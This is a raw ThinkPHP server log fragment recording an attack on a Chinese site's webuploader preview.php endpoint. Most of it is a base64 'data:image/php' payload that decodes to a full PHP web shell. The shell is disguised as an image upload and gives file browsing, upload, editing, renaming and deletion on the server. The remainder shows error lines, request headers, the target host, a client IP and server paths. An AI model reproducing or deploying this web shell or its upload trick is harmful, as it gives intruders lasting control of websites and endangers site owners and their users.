'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'webuploader' => '0.1.15', 'server' => 'preview.php', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T03:33:23+08:00 ] 116.213.36.234 POST www.51tianwei.com/Public/webuploader/0.1.15/server/preview.php [运行时间:0.002591s] [吞吐率:385.93req/s] [内存消耗:196.73kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'Public', 2 => 'webuploader', ), ) [ info ] [ HEADER ] array ( 'host' => 'www.51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 